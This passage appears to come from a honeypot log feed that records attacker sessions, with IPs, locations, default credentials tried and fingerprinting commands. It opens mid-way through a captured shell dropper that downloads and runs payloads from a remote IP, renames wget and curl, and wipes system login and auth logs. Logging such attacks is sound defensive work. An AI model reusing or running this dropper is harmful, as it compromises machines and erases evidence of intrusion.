]; then; apt-get update >/dev/null 2>&1 && apt-get install -y wget curl >/dev/null 2>&1; yum install -y wget curl >/dev/null 2>&1; if command -v wget >/dev/null 2>&1; then; dl_bin="wget"; dl_args="--no-check-certificate -q $url -O $filename"; fi; fi; ; if [ -n "$dl_bin" ]; then; $dl_bin $dl_args >/dev/null 2>&1; if [ -f "$filename" ]; then; chmod +x "$filename"; setsid "./$filename" >/dev/null 2>&1 &; fi; fi; }; ; lock_tools() {; command -v chattr >/dev/null 2>&1 && chattr -i /usr/bin/wget /usr/bin/curl >/dev/null 2>&1; ; w_path=$(which wget 2>/dev/null); if [ -n "$w_path" ]; then; case "$w_path" in; *good*) ;;; *) mv "$w_path" "$(dirname "$w_path")/good" >/dev/null 2>&1 ;;; esac; fi; ; c_path=$(which curl 2>/dev/null); if [ -n "$c_path" ]; then; case "$c_path" in; *cool*) ;;; *) mv "$c_path" "$(dirname "$c_path")/cool" >/dev/null 2>&1 ;;; esac; fi; }; ; SERVER_IP="89.32.41.130"; download_and_run "http://$SERVER_IP/vos.txt" "system_update"; download_and_run "http://$SERVER_IP/vox.txt" "network_conf"; ; lock_tools; ; cleanup() {; for log in /var/log/wtmp /var/log/btmp /var/log/lastlog /var/log/syslog /var/log/auth.log; do; if [ -f "$log" ]; then; echo > "$log" 2>/dev/null; fi; done; rm -f "$0"; }; cleanup; ; rm -- "$0"; rm -f /root/vos.sh; rm -f /tmp.vos.sh; exit 0
↳ make executable
$ /bin/skhqwensw
$ ls -la /var/run/gcc.pid
🎭 crumpet_root (209.97.190.211) β€” Slough, United Kingdom Β· 11 sessions Β· 11 cmds
2026-02-28 06:57 EST Β· as admin/admin, admin/admin123, deploy/deploy
Ran uname 11x across 11 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—11
🎭 blitz_root_14 (91.107.132.189) β€” Frankfurt Am Main, Germany Β· 1 session Β· 1 cmd
2026-02-28 06:24 EST Β· as root/1234
mount
$ mount | head -5